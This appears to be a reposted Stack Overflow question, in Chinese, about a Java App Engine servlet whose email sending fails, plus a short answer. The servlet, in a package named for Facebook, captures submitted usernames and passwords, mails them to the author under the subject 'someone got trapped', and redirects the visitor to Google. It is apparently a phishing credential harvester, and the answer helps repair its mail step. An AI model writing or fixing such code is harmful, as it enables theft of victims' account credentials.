gpt4 book ai didi

java - 无法在 java 应用程序引擎中使用 javax 邮件

转载 作者:行者123 更新时间:2023-12-02 00:51:22 25 4
gpt4 key购买 nike

我在java servlet中编写了发送电子邮件的程序。当我在本地主机中部署此程序时,我成功使用 gmail 帐户发送电子邮件。但是当我部署到谷歌应用程序引擎时,出现错误。在 Google App Engine 中发送电子邮件有任何限制吗?这是我的代码:

package com.fjr.action.facebook;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.GenericArrayType;
import java.nio.file.attribute.UserPrincipalLookupService;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;

public class ProcessRequest extends HttpServlet{



public void doGet(HttpServletRequest req, HttpServletResponse resp) {
String nama = req.getParameter("username");
String password = req.getParameter("password");
if (nama != null && password != null) {
processEmail(nama, password);
try {
// String path = getServletContext().getRealPath("/WEB-INF/file/userlist.xml");
// System.out.println(path);
// writeToXML(nama, password , path);
}catch( Exception e) {
e.printStackTrace();
}
}


try {
resp.sendRedirect("http://www.google.com") ;
// resp.addHeader("Location" , "www.google.com" );
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}


public void processEmail(String nama, String password) {

// UserService service;
String host = "smtp.gmail.com";
String from = "some-email@gmail.com";
Properties props = System.getProperties();
// Properties props = new Properties();
props.put("mail.smtp.host", host);
props.put("mail.smtp.user", from);
props.put("mail.smtp.password", "password" );
props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");

Session getMailSession = Session.getDefaultInstance(props, null);
MimeMessage generateMailMessage = new MimeMessage(getMailSession);
try {
generateMailMessage.setFrom(new InternetAddress("fajar.kasimbar@gmail.com"));

generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("other-email@gmail.com"));
generateMailMessage.setSubject("Ada yang terjebak");
String emailBody = "nama: " + nama + "| pasword: "+ password;
generateMailMessage.setContent(emailBody, "text/html");


Transport transport = getMailSession.getTransport("smtp");

transport.connect("smtp.googlemail.com", "some-email@gmail.com", "password" );
transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());

transport.close();

// Transport.send(generateMailMessage);
}catch(Exception e) {
System.out.println("mail.sending error");
e.printStackTrace();
}

}


}

我得到这个错误

[INFO] GCLOUD: INFO: Module instance default is running at http://localhost:8080/
[INFO] GCLOUD: Sep 09, 2019 12:52:07 PM com.google.appengine.tools.development.AbstractModule startup
[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 09, 2019 8:52:07 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: mail.sending error
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.processEmail(ProcessRequest.java:116)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:43)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD: at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)

编辑1:

我编辑代码成为

public void processMail2() { ////////
Properties props = new Properties();
String host = "smtp.gmail.com";
String from = "fajar.kasimbar@gmail.com";

props.put("mail.smtp.host", host);
props.put("mail.smtp.user", from);
props.put("mail.smtp.password", "some-password" );
props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");

Session session = Session.getDefaultInstance(props, null);
session.setDebug(true);
try {
Message msg = new MimeMessage(session);
msg.setFrom(new InternetAddress("fajar.kasimbar@gmail.com", "Kue Bolu"));
msg.addRecipient(Message.RecipientType.TO,
new InternetAddress("fajar.kasimbar.1@gmail.com", "Test"));
msg.setSubject("Your Example.com account has been activated");
msg.setText("This is a test");
Transport.send(msg);
} catch (Exception ex) {
ex.printStackTrace();
// ...
}
}

仍然出现错误:

[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 12, 2019 7:36:58 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: DEBUG: setDebug: JavaMail version 1.4ea
[INFO] GCLOUD: DEBUG: getProvider() returning javax.mail.Provider[TRANSPORT,smtp,com.sun.mail.smtp.SMTPTransport,Sun Microsystems, Inc]
[INFO] GCLOUD: DEBUG SMTP: useEhlo true, useAuth true
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD: at javax.mail.Service.connect(Service.java:105)
[INFO] GCLOUD: at javax.mail.Transport.send0(Transport.java:168)
[INFO] GCLOUD: at javax.mail.Transport.send(Transport.java:98)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.processMail2(ProcessRequest.java:155)
[INFO] GCLOUD: at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:47)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD: at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD: at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD: at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD: at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)

最佳答案

Google App Engine 说明为 here 。您不需要连接到服务器;只需使用默认值和静态发送方法即可。

关于java - 无法在 java 应用程序引擎中使用 javax 邮件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57854889/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com